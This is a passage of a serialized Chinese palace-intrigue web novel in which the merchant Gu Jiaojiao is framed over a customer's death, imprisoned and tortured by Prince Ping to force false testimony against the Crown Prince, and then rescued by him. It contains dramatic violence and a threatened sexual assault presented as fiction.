双瑞一脸狐疑,不知道顾皎皎在笑什么。 “你的私房钱,还够买几次糕点的?” 顾皎皎突然开口,眼中带笑。 双瑞略显尴尬,勉强的扯了扯嘴角。 “姑娘如何得知我是用的自己的银钱?” 被人看穿,双瑞多少有些不自在,左右看着,一副恨不得找个地缝钻进去的模样。 “你们太子心高气傲的,全是别人求他的份,他怎会低头求人?摆一副空架子,实则只会给人带来麻烦。” 说话的不是顾皎皎,而是莺儿,她还将一杯茶重重的放到了桌上。 顾皎皎没有解释,只是淡淡的笑了笑。 其实莺儿说的是事实,沈云祉那脾气性子在那摆着,他是不会为了吃食让人出宫来寻顾皎皎的,他若是来找她,一定是有最正当不过的理由。 “莺儿,不要胡闹,双瑞是太子身边的人,莫要再开玩笑。” 顾皎皎站起身,提醒着莺儿莫要胡说,而后看向双瑞。 “你且等着便是,我去准备,还有你下次来之前可以提前派人通知一声,我提前备好,你也不必等这样久。” “多谢顾姑娘。” 双瑞是从心底里感激的,自然了,如顾皎皎所说,他此次出来,沈云祉又是不知情的。 顾皎皎忙完,带着自己亲手做的吃食来到雅间时,在门口看到了杜玉荣。 这一次,杜玉荣已然在心底里确认了什么。 “刚刚看到双瑞,以为是出了什么事,便来看看。” 杜玉荣盯着顾皎皎手中的食盒半晌,才将温柔的目光投向顾皎皎。 身为当朝太子,在宫外拿吃食,总是不好,若被有心人知道,不知道还会传出什么。 “当日丝织局一事,太子殿下助我良多,今日第一楼新做了一些糕点,正巧遇到双瑞出宫办差,便请他带回去,感谢太子殿下。” 顾皎皎将责任揽在自己身上,反正她一介商女,也不需要维护什么名声。 “应该的,太子殿下近来忙碌,食欲不佳,若得姑娘的吃食,定会胃口大开。” 他温和从容,即使是在这冬日里,也如阳光般温暖。 顾皎皎扯动了下嘴角,将房间里双瑞叫出。 “劳烦你将这个带给殿下,并转达我的感激之情,日后有机会定当当面言谢。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百二十六章 定当是国之栋梁 双瑞配合着顾皎皎,又说了几句客套话才离开。 杜玉荣在一旁看着,听着,却并没有被瞒过。 沈云祉近来食欲不好的事几乎是天下皆知了,而偏偏他的贴身侍卫又时常来第一楼,这可不是说句‘感激’就可蒙混过去的。 不过,杜玉荣并未拆穿这场谎言,有时候糊涂一下,也许自己的机会便多一些。 “杜大人今日过来是……” 顾皎皎转过头,面对着杜玉荣,轻声询问。 杜玉荣的思绪被拉回,漆黑的眸子里依旧是炙热的光芒。 “无事,只是路过,便想进来看看你在不在。” 他的声音很好听,言语温和,只是了解他的人都知道,他也只是在顾皎皎面前才会如此。 “杜大人,请。” 顾皎皎还是将他请进了房间。 杜玉荣记得顾皎皎所说过的话,自是不想将她推的太远,所以闲聊之事也大多以诗书、书画为主。 慢慢的,他也觉得他终究还是低估了顾皎皎。 顾皎皎一介商户之女,可无论史书还是国策,甚至是一些各地的奇闻异志,她都很是了解。 女子通诗书的本就不多,如她这般不仅通读还有自己见解的便是更少。 “姑娘若是男子,定当是国之栋梁。” 杜玉荣由衷的赞叹着,真心实意,在倾慕之余还多了几分敬佩。 顾皎皎低眉浅笑。 “杜大人过奖了,不过是幼时跟着父亲种地奔波着,无趣时便看些书而已。” 她很谦虚,她看过的书只怕是比当今赶考的男子还要多,只不过,她接手生意后,少与文人墨客打交道,知道的人便也少之又少。 “京中官家女子自幼都上过书塾,成年后也多会有人教导,在这京城之中赵家姑娘有京都第一才女之称,但依在下看来,姑娘博通古今,远在她之上。” 这算是最高的称赞了吧? 杜玉荣提到赵蕴苎时,不夹杂丝毫的个人情感,只是就事论事,倒让人觉得他心怀坦荡。 顾皎皎缓缓抬起头,阳光透过窗子洒下来,使她清澈的眸子更为明亮,那张倾城绝色的脸,也让人心动。 “杜大人是三元及第的状元,今日也是我卖弄了,幸而大人不曾怪罪。” 听着她说话,看着她浅浅的笑容,杜玉荣觉得自己的心跳都在加速。 他立即起身,强撑着不让自己的尴尬显露出来。 “今日与姑娘谈论古今,受益良多,只是在下还有事,下次再来向姑娘讨教。” 这自然是客套之言,只是这杜玉荣走的也太快了些,倒不像是有事,像是逃跑。 人都已经离开,顾皎皎还坐在这里,甚至都没有来得及起身相送。 她一脸狐疑,看了看周围,似是也没有什么不妥。 与此同时,双瑞已然快马加鞭赶到宫中,终在晚膳前,将带回来的糕点送到了东宫的小厨房。 “顾姑娘真是贴心,这次不只带了糕点,还带了一些新鲜的笋丝和鸽子汤,都是殿下喜欢的。” 双瑞看着王福将餐食带进沈云祉的屋里,环抱双臂,无不得意的说道。 双剑在一旁翻了个白眼,没有理会他。 正当双瑞正准备再次炫耀之时,突然听到沈云祉在房间里低吼出声。 “双瑞,你给我滚进来。” 只这一句,便可听出怒火。 双瑞向双剑投去哀怨的眼神,双剑则耸耸肩,一脸无奈。 沈云祉生气,谁能有办法? 双瑞小心翼翼的走了进去,看到沈云祉正在桌边用餐。 像现在这般好好坐在桌前用膳,已经是许久没有出现过的情况了,就连一旁的王福眼中都透着惊喜。 只是在双瑞进来后,本应服侍在侧的王福却悄悄退了出去。 “这些东西哪里来的?” 沈云祉自己夹了一根笋丝放入口中,头都没有抬的便问道。 “是,是第一楼。” 双瑞所站的位置离沈云祉有些远,毕竟,他也担心他家殿下会将桌上的盘子丢过来。 “我上次不是说过,莫要再去找顾皎皎,你是将我的话当成耳边风了吗?” 沈云祉吃的极香,说出来的话也平淡无奇,似是说着最普通的小事一般。 可双瑞了解他,他越是这般,便代表着他越是愤怒。 双瑞立即抱拳行礼。 “殿下息怒,太医说您近来吃的太少,于身体有害,属下也尝试过其他办法,只是……顾掌柜的手艺也是无人能比的,但您放心,我都是给银子的。” 双瑞一边说着,一边偷瞄着沈云祉,做好了随时逃跑的准备。 “这跟银钱无关。” 沈云祉终于抬头看了双瑞一眼,眼中却并非是愤怒,而是担忧。 “我如今处在这个位置,多少双眼睛盯着,你常来往宫内宫外,必定会引起别人注意,他们不能拿你怎么样,但是却可以对顾皎皎下手。” 他的语气平静,但也似是在暗中思索着什么。 双瑞恍然大悟,抬手拍了自己脑门一下。 “属下糊涂,未想到这层,殿下恕罪。” 现在再谈什么罪不罪的,怕是已经来不及了。 沈云祉看着那些吃食,他连日来没什么胃口,但吃着这些却觉得胃口极佳,不知是他的心理作用,还是顾皎皎的手艺极好。 只是,顾皎皎无官无职,到底只是谋生的一介女子而已,若真是被有心人盯上,怕是难逃厄运。 “近来宫中没什么事,让双剑出宫守几日,若是无事便也就算了。” 沈云祉终究是不放心的。 双瑞立即应下,但正准备转身时,又被沈云祉叫了回来。 “无论什么原因,莫再去找顾皎皎,若有其他打算,我会吩咐。” 这一句,他说的极为郑重。 双瑞自然是乖乖应下,抛开命令不说,他跟在沈云祉身边也是见过那些人的狠毒的,他也会担心会不会给顾皎皎带来麻烦。 双剑几次在宫外行事,都是为了顾皎皎,但他一如从前般谨慎,小心,不敢有丝毫怠慢。 他不善言辞,但却看得通透,也深知那位顾姑娘对太子殿下的重要性。 沈云祉安排妥当,却敢不曾想,坏消息来的那般快。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百二十七章 有备而来 第一楼开门做生意,今日却并未像往常一样坐无虚席,甚至可以说是极为冷清。 顾皎皎觉得不妥,立即派人出去打探消息。 原以为只是有人从中作梗,却不想这个消息犹如晴天霹雳。 “姑娘,大事不好了,昨日在我们店里用膳食的一个客人,死了。” 死了? 听到这两个字的时候,顾皎皎大脑空白了一下,随后才反应过来。 “像之前一样,是用人命来诬陷我们?” 之前也发生过这样的事,那些陷害之人,以人命入局,只为毁了她的生意,但这次与上次不同,在第一楼的门前,并无人哭闹,无人拉上白布,让她偿命。 “奴婢不知,但那家人已然去了衙门。” 莺儿的声音都在颤抖。 去了衙门,便是经了官,可见他们不是为了钱财,只是不知道他们是为了公道,还是为了其他的。 莺儿说,今日一大早衙门便开门审理此案,许多人都围在衙门前看热闹,消息慢慢散布开来,到现在为止,已经有很多人在传第一楼害死了人。 “姑娘,这一次应该是有备而来,用不了多久,衙门便会来人,姑娘不如先避一避?” 莺儿着急,更担心顾皎皎的安危。 顾皎皎摇了摇头。 “此时跑了,我们所有的产业,以及第一楼的伙计都会被牵连,兵来将挡,我只能亲自面对。’ 顾皎皎站在第一楼的门口处,望着前方,目光坚定。 她自幼跟随父亲打理生意,自是什么样的人,什么样的事都见过了,在这个时候退缩,不是她的脾性。 正当主仆二人说话间,大街上一片躁动。 顾皎皎抬眼看去,便看到府衙的官差齐步而来,声势浩大,周围的百姓都紧急避让,却无一人离去,等待着看热闹。 官差而来,为首的并非是府尹大人,而是一位师爷。 人命官司,上门来拿人的竟然是一位师爷,让顾皎皎意识到问题的严重性。 “顾掌柜,此次的原告人已经在府衙,在下奉府尹大人之命,特来向顾掌柜询问几个问题。” 这师爷开口时,竟还带着几分客气。 顾皎皎心里疑惑,脸上却并未表现出什么。 “大人是说,只是询问?” “自然,案子还未查清,现在只是在调查阶段。” “大人里面请。” 顾皎皎将这位师爷请到了里面坐下,但是第一楼外都被官差围着,让人人心惶惶。 “这个人,顾掌柜可有印象?” 师爷拿出一个画像,上面用简单的细条勾勒出一个男子的相貌。 “说起来,这个人我还真的有印象。” 顾皎皎只看一眼,便看出这个人。 昨日晚间,此男子在第一楼与几位友人用膳,还与小二聊了会儿天,说第一楼的红烧狮子头味道极好,还让伙计做了两份,说有一份是要带回去给自己的妻子。 这本也没什么,但在晚些时候,一女子一直站在第一楼门外等着,天气寒冷,她不曾迈进第一楼一步。 顾皎皎注意到了,本以为她是没有银钱,便想着让她进来坐,可不曾想她并非是来用膳。 “我相公在里面与朋友吃饭,夜已深,我怕他一个人回家不安全,便在这里等他。” 到现在为止,顾皎皎还记得那女子脸上娇羞温婉的神色,令人动容。 顾皎皎也说,可以叫她夫君出来,但却被那女子极力拒绝。 “我相公长年在外奔波,十分辛苦,难得有机会与好友聚聚,不可打扰她。” 那女子正说着时,第一楼里的男子似是看到了她,忙不迭的跑了过来,手里还带着一份刚装好的红烧狮子头。 “这般冷,你怎么来了?” “怕你饮酒,有些担心,便想着来接你,我是不是打扰你了?” “怎会?我知你在家中等我,怎会饮酒?时间也不早了,我也怕你在家中害怕,已经说好要回家了。” “这是什么?” “狮子头,味道极好,特意给你带的,太冷了,我们先回去。” 那夫妇二人手挽着手离开,只看背影就觉得恩爱异常。 愿得一人心,白首不相离。 当时,顾皎皎看着那二人的背影,便羡慕不已,若世间女子都得如此有情有义的郎君,这世间便会少了许多伤心人。 顾皎皎将自己所知道的,都说与面前的这位师爷。 “若是我的餐食出的问题,与这男子同行的友人是否也出事了?” 她问的小心翼翼,心底也不自觉的设下一道防线。 此次事件太过奇怪了,就算是眼前的师爷态度温和,她也并不信任了。 “顾掌柜,案子还在调查中,有一些情况,我不便透露。” 果然,哪怕是一个小问题,这位师爷也不肯回答,可是出了人命这样的事,莺儿却可以打探到消息,这不是自相矛盾吗? “第一楼的厨娘厨子以及伙计,是否都是顾掌柜亲自挑选的?这些人中,是否有什么人是有案底的?” 师爷又继续询问。 “没有,这些人都是我亲自挑选,家世清白,普普通通的老百姓,他们定然不会做出害人性命之事。” 顾皎皎说的很肯定,无论出了什么事,她定是要维护自己的人。 接下来这位师爷还问了酒楼里的食材,出自哪里,由何人运送等等一系列问题。 这些问题都极小,看上去像是真的调查案子一般,可越是这样,顾皎皎心里越不安了。 她还想再说些什么,但这位师爷却站起身。 “好了,今日就先到这儿,日后有什么问题,我再来叨扰顾掌柜。” 师爷欲走,又似是想起了什么,继续开口。 “对了,毕竟涉及到人命,顾掌柜这两日便不要开门做生意了。” “是,依大人的吩咐。” 顾皎皎微微欠身,送这些办案之人离开。 周围的百姓不知发生了什么,对第一楼却都敬而远之,看着顾皎皎的身影立在门口处,也不免有些人会指指点点。 “姑娘,他们竟然没有拿人?” 莺儿不解。 是啊,官府办案,竟然没有传人上堂问话,而是亲自上门,这本就不正常。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百二十八章 为民除害 第一楼出事,又一次涉及人命官司,只是这一次处处都透着诡异。 顾皎皎没有思索出所以然,甚至没有给他安排手下人的机会,平王上门了。 平王气势汹汹,带着数十名侍卫。 “顾皎皎害人性命,府尹却不拿人,来啊,给本王拿下。” 平王双手背在身后,高昂着头,冷冽的目光里甚至透出了杀意。 也是到现在,顾皎皎终于想通了,平王要她出事,她又怎么逃得掉? “我看谁敢?” 顾皎皎低吼出声,娇媚的容颜上少有的出现了冰冷,她冷冷的扫过众人,最后将目光落到平王身上。 “平王有王爷之身,自是知道国有国法,家有家规,平王要拿人也得有个理由,就算是因为这个案子,也并不归王爷管吧?” 顾皎皎掷地有声。 她与平王本就不睦,原想着井水不犯河水,也可得过且过,却不想平王一出手便是欲置人于死地。 “案子是不归本王管,但死的人却是本王手下得力之人,你一介商女,动辙害人性命,就算是利用王权,本王也要为民除害。” 平王的脸上没有悲伤,没有难过,更多的反倒是得意与傲慢。 “官府还在调查,那人是否因第一楼出事,还未有定论,王爷此时出面,莫不是要公报私仇?” 顾皎皎丝毫没有退让的打算,她也知自己并非是平王的对手,但总要一试。 “官府查案,未拿凶手,本王怀疑他们被你收买,你放心,待处置了你,那府尹本王也定不会放过。” 这就是官府不拿人的真正原因吗? 平王亲自上门,以这样的理由,原来是想将顾皎皎扣在自己手里。 “平王乃是皇室,说话自然要讲证据,我不曾收买任何人,平王若是有心,一查便知。” 顾皎皎如此义正言辞的话却让平王大笑出声。 “本王想查什么,怎么查,都由本王说了算,你一个商户之女,低贱的身份,也敢来教本王做事,来人,带走。” 平王说完便转身向外走去,而平王府的那些侍卫也瞬间压了上来。 “不许动我家姑娘。” 莺儿忠心护主,张开双臂挡在顾皎皎面前,还未等顾皎皎将她拉开,一把剑鞘直奔莺儿的额头而来。 剧烈的疼痛使莺儿直直的倒了下去,额间瞬间鲜血直流。 “莺儿,莺儿……” 顾皎皎急切不已,想伸手去扶,却被上来的侍卫直接拉走。 “姑娘,姑娘,你们放开……” 莺儿终究还是倒了下去,陷入了昏迷。 顾皎皎也挣扎过,甚至用了一些拳脚功夫,但终究是寡不敌众,被人绑了起来,拖上了马车。 马车一路急驰,不知过了多久才缓缓停下。 此时的顾皎皎手脚被绑着,眼睛被蒙着,嘴也被堵着,她看不到,被人拖下马车时,也只能发出‘呜呜’的声音。 只是,她周边的人没有人说话,更没有什么怜香惜玉之情。 顾皎皎并不知道,第一楼里的情况更为不好。 第一楼的伙计早早的就被人控制住了,待顾皎皎被拉走,他们才被放出来。 莺儿也在伙计们的帮忙下醒了过来,但莺儿甚至没有顾得上擦拭头上的血,就跑出了第一楼。 驿站。 莺儿不知道该找谁帮忙,只得去驿站,也许那里会有沈云祉的手下。 双剑原本一直在京城的,但今日有人汇报说京郊发现敌国奸细,最近一直无事,沈云祉便让他前往京郊,让他速去速回。 莺儿扑了个空,万般无奈之下,她联系了王吉。 王吉也是自幼在顾府长大,而后便一直替顾皎皎处理外面的事务,平时也只是靠莺儿传密信给他,但今日,却是在驿站附近见面。 “莺儿,你这是……” “先不用管这些,姑娘被平王带走了,怕是凶多吉少,现在想办法救出姑娘。” 莺儿的头是疼的,可她顾不了那么多。 王吉长相俊朗,听到此话立即脸色大变,阴狠之色袭上他的眉宇。 “我立即招人手,闯平王府,定当将姑娘救出。” 说完,他就要走,却被莺儿拉住。 “来不及了,我们京中人手不够,等人齐,怕是……你有没有办法联系到皇宫?太子。” 莺儿这个时候反应极快。 这些年,外界所有的消息都靠王吉打探,只听到这个名字,他便明白期中含义。 “明白,我现在就去。” 王吉走了几步,又回头。 “你受伤了,还是要处理一下。” “我不打紧,我在这里再等等,如果双剑回来许能更快一些。” 莺儿催促着她快走,现在最重要的就是将顾皎皎救出来。 此时,顾皎皎已经落到了平王手里。 她眼睛上的布被摘掉,缓了好一会儿才看清眼前的情况。 这是一间牢房,不是府衙的牢房,像是私人的地方,她被关在这个房间里,手脚都被绑着,而她的面前便是各种刑具。 房间阴暗,周围亮着无数火把,顾皎皎算了算时间,此时外面应该还是白天。 在这空洞洞的地方,一个人都没有,甚至连守卫都没有。 顾皎皎确定,这里是平王的私人牢房。 京都府尹未下令抓人,并不是照顾顾皎皎,而是在给平王制造抓她的机会,就算有人日后问起,平王也可说是府尹不作为,他才为他的手下出手。 至于那府尹,自然是平王的人,才会为他做出如此大的牺牲。 “有人吗?有人吗?” 顾皎皎开口大喊,她总要知道平王的目的。 只是无人应她,回应她的也只有她自己的回音。 她等待着,却久久不见人影。 皇宫。 沈云祉看过皇上后,便回了东宫。 连日来了的政务,以及各种算计,都让他心力交瘁,可他既然坐上了这个位置,就不可表现出任何力不从心,不然那些人会将他生吞活剥的。 他坐在书房,尝了一口王福刚递过来的参茶。 “双瑞呢?” 他抬了抬眼帘,有事要交代双瑞去办。 “刚刚出去了,不知去做什么?” 王福话音刚刚落下,双瑞便从外面跑了回来。 “殿下,出事了。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百二十九章 这话可不是我说的 平王府的暗牢。 顾皎皎终于听到有人进来,她已经不知道过去了多久。 只是,令她没想到的是,进来的人不是审计之人,更不是那些凶神恶煞的侍卫。 “顾姑娘受苦了,只是无奈,望姑娘见谅。” 平王妃一袭淡粉色长裙,纯金的发饰钗环,就连脸上的妆容都极为精致,看样子是专门来见顾皎皎的。 她走过来时,面带和婉的微笑,双眸中闪烁着晶亮的光芒,好似好友相见。 顾皎皎抬了抬眼帘,没有说话,却看着那平王妃身后的侍女手中拿着食盒。 “姑娘过来许久,想来是饿了,我让府中厨娘做了一些饭菜,也不知合不合姑娘口味。” 她们之间隔着一扇牢门,可听平王妃的意思,倒像是彼此关系极好的样子。 侍女打开了食盒,甚至还将菜喂到顾皎皎唇边。 顾皎皎将头偏过去,离那青菜远了一些。 “多谢平王妃,只是民女怕有毒,便不吃了。” 她终于开口,大约是时间久了未进食,未喝水,她的声音都有些沙哑。 “顾姑娘思虑周全,那便收了吧。” 果然,平王妃并非诚心,不过是借机给顾皎皎一个下马威而已。 平王妃摆了摆手,身边只留下了她的侍女冬儿,其他人都退了出去。 平王妃缓步在一旁的桌前,那上面各种各样的刑具,看得人触目惊心,她却扬起了嘴角。 “说实话,这地牢来的人极少,但每一个进来的人,大多都是被抬出去的,自然了,也有全须全尾的出去的,那便是识时务者为俊杰的人。” 平王妃语气平静,每一个字都说的那样轻描淡写,好似人命也好,人权也罢于她而言都算不得什么。 这也难怪,她是平王妃,可掌生死。 “欲加之罪,何患无辞?平王妃与平王设这么大的计将我抓来,自然是从我口中得到些什么吧?” 顾皎皎抬了抬眼帘,眼底皆是冷意。 她还曾以为,平王只是为了报复她,要给她安上个什么罪名,但她被关了许久,没有人审讯动刑,她便知道,平王意不在她。 “顾姑娘果然是聪慧之人,本王妃也喜欢跟聪明人打交道。” 平王妃走到了牢门前,冬儿将一把椅子放在她身后,她缓缓坐下来。 “其实也很简单,平王近来在查奸细,无意间发现太子殿下的产业里,竟然一直与外敌勾结,顾姑娘是生意界的奇才,早早便发现了,如今有平王做主,姑娘才敢出面首告。” 听着这些,顾皎皎心里大惊,一股恐惧感瞬间袭满全身。 她不是害怕自己的处境,而是不曾想过,沈云祉要面临的是这般境况。 平王心思狠毒,想的不是将太子拉下马,而是要置他于死地,是想要他的命,要整个云南王府的命。 这便是历代权位之争的代价吗?不是你死就是我亡。 “平王想利用我来诬陷太子?想以我的证词,来让太子再无翻身之日?” 顾皎皎死死的盯着平王妃,在这位王妃的脸上,没有任何多余的神色,平静异常。 “你放心,事成之后,本王妃不只保你性命,还会保你顾家的产业在京中做强做大,只会让你越来越好。” 除此之外,平王妃还承诺,日后不管是安阳候府,还是百姓官员,都不敢招惹顾皎皎半分,给足她身份地位。 如此大的利益放在眼前,任谁都知该怎么选,可顾皎皎却反其道而行之。 “如果我不答应呢?” 顾皎皎心底的恐惧散去,唇间袭上一抹淡淡的笑意。 “竖着进来,横着出去。” 平王妃几乎没有任何犹豫的说道。 顾皎皎眸子微颤,依旧保持镇静。 “我只是好奇,你们为何要以我为诱饵?我与太子殿下并无深交。” 哈哈哈。 平王妃的笑声突然充斥在这牢房里,带着嘲讽。 “沈云祉几次出手相帮,甚至在皇宫里还吃着你做的点心,这是并无深交吗?顾皎皎,你是个聪明的,难道不知道,你便是他的弱点。” “我与太子只是生意上的合作伙伴,我……” “别傻了,沈云祉是什么人?在云南多年,不知有多少女子想爬上他的床,他何曾给过那些女子一点好脸色?你既特殊,便不只是合作这样简单。” 平王妃站起身,向牢门靠近了一步,盯着顾皎皎的眼睛,继续阴森森的开口。 “今日你若是不从,只怕日后沈云祉也会伤心死的。” 顾皎皎心里似是被什么东西撞到,却一时不敢相信。 只是现在,也没有给她多想的机会,平王妃等待着她的答案。 “你们有什么招数尽管使出来吧,既落到你们手里,我也没打算活着出去。” 顾皎皎心一横,一副听天由命的样子。 她可是很惜命的,那些年在安阳候府过着低微的日子,她也不曾放弃,后与孙协兆和离,被扣上许多肮脏的帽子,她也不曾有过轻生的念头。 但现在,为了心底的那个人,她竟然没有犹豫的选择放弃了自己。 “顾皎皎,你知道你做出这个选择意味着什么吗?连死都不怕吗?” 平王妃瞪大双眼,不敢相信的瞪着顾皎皎。 顾皎皎歪了歪头,倾城的脸上满是笑容,笑的那样灿烂,晶莹的眸子里都是笑。 “我啊,贱命一条,早在多年前就该死了,平王妃身份尊贵,自然是理解不了我这种低贱之人的想法,不过,听徐青青说王妃不爱权财,只想要一个属于自己的孩子,想来王妃也是心善之人。” 她的声音好听极了,但每一个字都如刀子一般刺进平王妃的心脏。 平王妃脸色瞬变。 她这半生,要权有权,要名有名,唯独孩子,是她的痛。 “徐青青?顾皎皎,你是故意的。” 平王妃咬着牙。 “王妃何出此言?我和徐青青的恩怨您又不是不知道,只是听她常说,您是不下蛋的母鸡……哦不,这话可不是我说的,是徐青青说的,我理解的就是王妃想要一个孩子。” 顾皎皎装出一脸真诚的模样,而平王妃已然没有了耐心。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百三十章 生不如死 平王妃打开牢门,重重的甩了顾皎皎两个耳光。 那张白嫩的脸瞬间肿了起来,鲜红的手指印那般明显,就连唇角都渗出丝丝血迹,可顾皎皎的脸上依旧保持着灿烂的笑容。 “平王妃这便恼了吗?说起来,你打我又有何用呢?徐青青,一个贱籍女子所生之女,都有一个郡主的身份,甚至敢在外以平王府为由嚣张跋扈,而王妃你呢?有什么?” 顾皎皎话音落下,平王妃便抬手掐住了她纤细的脖子,恶狠狠的瞪着她,却因为愤怒,一个字都没有说出来。 顾皎皎呼吸不畅,也是此时她才意识到,这平王妃竟然是个会武的。 最终,平王妃还是松了手,她自是不敢扰乱平王的计划的。 “我倒要看看,你能嘴硬到什么时候,时日还长,你便慢慢在我手里熬吧。” 平王妃愤怒,拂袖而去。 这间牢房又恢复的宁静,顾皎皎也将脸上的笑意收起。 她无力脱身,也知平王势大,怕也不会有人救得了她,她不抱希望,便也没什么可怕的了。 平王进入这间牢房的时候,听侍卫说起,已然是深夜。 因为之前平王妃来过,想必也已经向平王汇报过,所以平王并没什么废话,只进来后,便命手下对顾皎皎动刑。 那长长的皮鞭一下一下的抽在顾皎皎的身体上,每一下,她都觉得自己要死过去。 “我这手下有着独门手艺,可保证每一鞭子下去都落在同一地方,姑娘身娇肉贵,不知可以承受多少?” 平王倚靠在椅子上,悠闲的喝着茶,瞟过来的眉眼间没有任何心软之色,反倒是饶有兴趣的看着。 顾皎皎很痛,感觉全身都在痛,但她死死的咬着下唇,未发出一声喊叫。 “还是个硬骨头,来啊,加点力道,顾姑娘怕是很享受。” 平王是个心狠的,何况,在他这牢里死去的人数不胜数,他不怕被追究。 皮鞭上沾着的是盐水,又一鞭下去,顾皎皎差点晕死过去,可动手那人却并没有停下的意思,将皮鞭在那桶里又转了一圈,重新沾满盐水,又一鞭子下去。 顾皎皎只觉得天眩地转,随后便什么都不知道了。 “王爷,晕了。” 手下汇报,平王却只是淡淡的摆了摆手。 一桶凉水顺着顾皎皎的头浇下,但她没醒。 “本王还以为她多大的本事呢,不过如此,罢了,先撤了吧,明日再说。” 平王觉得无趣,起身向外走去。 那手下离开前看了一眼晕倒的顾皎皎,他动手打过那么多年,但能坚持到现在的少之又少,他不知一介女子,是什么让她坚持着不肯松口。 平王的目的很简单,因着顾皎皎与沈云祉的关系,他欲利用顾皎皎将太子拉下马,只要将顾皎皎握在手里,无论是威逼还是利诱,只达到目的就好。 顾皎皎醒来的时候,身边多了一个侍女。 侍女站在一旁,见她醒来,便将一杯水递到顾皎皎唇边。 顾皎皎冷冷的笑了笑,别过头去,反正她都要死了,才不会用他们这里的东西。 那侍女见她不喝,便退到一旁,不说话,也不离开。 “现在何时了?” 顾皎皎随口问着。 “刚过寅时。” 没想到那侍女竟然答话了。 顾皎皎有些意外的看了她一眼,但只稍稍侧目,全身的疼痛便传来,她甚至可以看到自己身上的伤口在渗出鲜血。 时也命也,怕她也是活不了多久了。 “他们让你看守我?” 顾皎皎看着那侍女,似是好奇般的询问着。 “姑娘不必试探,奴婢既在这里,自然是王爷信得过之人,奴婢奉命给姑娘喂些吃食,姑娘不肯用,奴婢也只能等着。” 不知是这侍女聪明,还是提前有人教她,她倒像是看透顾皎皎心思的模样。 顾皎皎扯动了下嘴角。 “将死之人,不必吃喝,你既想等着,那便等吧。” “王爷不会让你死的,只会让你生不如死。” 那侍女说这话的时候,神色淡然,没有任何情绪上的波动,好似早就习以为常的样子。 顾皎皎没有理会这个侍女。 她一心求死,待平王耐心耗尽,她的生命便也就结束了。 但终究,顾皎皎还是低估了平王的阴狠与狠毒。 顾皎皎被吊在这里,又许久没有喝水,吃东西,她有些体力不支,人也迷迷糊糊。 就这样不知过了多久,她听到了脚步声,很多人的样子。 她强撑着缓缓睁开眼,看着平王带着一群人走了进来。 他的身后有他的侍卫,也有几个穿着简朴,肥头大耳的男人。 顾皎皎有种不祥的预感。 “怎么样?天都亮了,姑娘可想清楚了?” 平王开口,似是询问,更像是来看热闹一般。 顾皎皎已经很虚弱了,开口时声音忽近忽远。 “要杀要剐,悉听尊便。” 这几个字使平王眼中的恨意蒙生。 “沈云祉的眼光倒是极佳,看上个如此倔强的货色,只可惜啊……” 平王转头看了看身后那几个大汉,唇角袭上狡黠的笑意,才继续说了下去。 “如果沈云祉知道,他的女人正在侍候我的手下,不知会作何感想?” 顾皎皎感觉身体发麻,眼中的惊恐再也掩饰不住。 “你敢!” 她大吼出声,晶莹的眸子瞬间变得腥红。 “本王为何不敢?如今这境况,本王有何不敢?我还告诉你,今日你答应,本王就让他们好好陪你玩玩儿,明日你不答应,本王便会去寻些流浪汉。” 肮脏,龌龊,阴险,这些词一股脑的涌进顾皎皎的脑海,但她未说出口,只觉得胃里翻涌,恶心至极,随即一口鲜血喷了出来。 平王躲闪不及,脸上身上都染上了血渍。 “贱人,给脸不要脸,给我上,别让她死了。” 他的话音落下,那几个人便立即围了过来。 他们的淫笑在眼前晃动,他们的手掌在她的身体上揉捏,甚至不顾她身上的伤口。 顾皎皎大骂着让他们滚开,但还是听到了她的衣服被撕裂的声音。 绝望之际,地牢外再次传来动静。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百三十一章 不能好好活着 “沈云祉,谁给你的胆子!” 顾皎皎好似听到了那个熟悉的名字,也看到一张冷峻的脸在向自己靠近,只是她分不清是现实,还是梦。 “顾皎皎,顾皎皎。” 沈云祉唤着她的名字,她却没有任何反应,她的身体上触目惊心的伤痕,血肉都在向外翻着,而她的外衫早已被那些狂徒扯掉,只留满是鲜血的里衣。 沈云祉是后悔的。 他不该为了不打草惊蛇而耽误了时辰,他更不该为了探查确切的位置而在外面等候消息,他明明猜到她会出事,不该一时大意中了别人的调虎离山之计。 沈云祉小心翼翼的解开顾皎皎身上的绳索,将她横抱在怀中之时,甚至不敢用力,生怕弄疼了他。 “沈云祉,这里是平王府,就算你是太子,你也……” 嘭! 平王的话还未说完,腹部就挨了沈云祉重重一脚。 平王被踢飞好几米,摔在了身后的桌上,那上面的刑具也随着桌子翻倒在地。 “你说对了,我是太子,是储君,将来的帝王,这天下都是我的。” 沈云祉的声音冷的让人不寒而栗,他眼中的杀气丝毫都不掩饰,扫过平王时,甚至没有其他多余的神情。 平王想起身,但腹部的疼痛让他又跌落在地。 “殿下,这些人怎么办?” 双瑞提着一把剑,指着旁边的那些人,有侍卫,也有那几个大汉。 双瑞是愤怒,而那些人是恐惧的。 他们不曾想太子会亲临,更不曾想,太子会为了一个女子大开杀戒,可他们的身边明明就躺着数具尸体。 “要他们活着,但不能好好活着。” 沈云祉冷冽的声音响起,他高昂着头,薄唇轻抿,漆黑的眸子里是一眼望不到底的幽深。 他也不再等什么,抱着顾皎皎向外走去。 平王府的院里也是躺着一些痛苦哀号的人,沈云祉无视他们,阔步而行。 平王妃从门内踏出一只脚,却在看到沈云祉时,又缩了回去。 堂堂太子,任谁也没有想到他会硬闯平王府,更不曾想到,他竟真的会为了那女子,不顾一切。 沈云祉冷眼扫过平王妃,脚步未停,大步离去。 马车之上,沈云祉依旧轻声唤着顾皎皎的名字,但她已然隐入昏迷,没有给他任何回应。 “殿下,顾姑娘伤的不轻,不如先送回顾府,再请郎中。” 双瑞骑马在车外,低声询问。 “回东宫。” 沈云祉从牙缝里挤出这几个字。 这可将双瑞双剑吓坏了,就连平时一向不怎么言语的双剑都忍不住开口。 “殿下三思,以顾姑娘的身份入宫,怕是会引起大乱,不如……” “东宫。” 沈云祉再次重复道。 他的语气里没什么情绪,只是生硬里透着冰冷,给人一种不寒而栗的感觉。 双瑞和双剑都知道他这态度意味着什么,谁也不敢再开口,命人前往皇宫。 平王府。 